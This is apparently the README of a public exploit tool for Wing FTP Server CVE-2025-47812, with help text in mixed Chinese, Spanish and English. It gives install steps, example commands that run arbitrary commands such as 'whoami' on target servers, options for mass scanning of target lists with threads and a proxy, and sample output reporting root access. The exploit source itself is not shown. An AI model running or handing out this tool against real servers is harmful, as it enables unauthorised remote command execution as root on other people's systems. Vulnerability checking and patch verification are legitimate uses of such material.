git clone https://github.com/0xjuarez/CVE-2025-47812.git
cd CVE-2025-47812
pip install -r requirements.txt

usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME] [-P PASSWORD] [--check] [-v] [--proxy PROXY] [--timeout TIMEOUT] [-o OUTPUT] [--output-format {txt,json,csv}] [--threads THREADS] [--no-progress]

Exploit for Wing FTP Server CVE-2025-47812 - enhanced version

options:
  -h, --help            显示此帮助信息
  -u URL, --url URL     目标URL（例如 http://192.168.1.100:5466）
  -f FILE, --file FILE  包含URL列表的文件（每行一个）
  -c COMMAND, --command COMMAND
                        要执行的命令（默认: echo CVE-2025-47812）
  -U USERNAME, --username USERNAME
                        用户名（default: anonymous）
  -P PASSWORD, --password PASSWORD
                        密码（default: 空）
  --check               检查模式：仅检测是否易受攻击（使用无害命令）
  -v, --verbose         详细模式（显示详细信息）
  --proxy PROXY         代理（例如 http://127.0.0.1:8080）
  --timeout TIMEOUT     超时秒数（default: 10）
  -o OUTPUT, --output OUTPUT
                        保存结果的文件
  --output-format {txt,json,csv}
                        输出格式（default: txt）
  --threads THREADS     扫描多个目标时的线程数（default: 5）
  --no-progress         隐藏进度条

python CVE-2025-47812.py -u http://192.168.1.100:5466 -c "whoami" -v

python CVE-2025-47812.py -u http://192.168.1.100:5466 --check

python CVE-2025-47812.py -f targets.txt --threads 10 -o resultados.json --output-format json

python CVE-2025-47812.py -u http://192.168.1.100:5466 --proxy http://127.0.0.1:8080 -v

http://192.168.1.10:5466
http://192.168.1.11:5466
https://ftp.miservidor.com:5466

http://192.168.1.10:5466 - VULNERABLE - 用户: root
http://192.168.1.11:5466 - SEGURO - 不易受攻击

[
  {
    "target": "http://192.168.1.10:5466",
    "vulnerable": true,
    "info": "用户: root"
  }
]

Target,Vulnerable,Info
http://192.168.1.10:5466,True,用户: root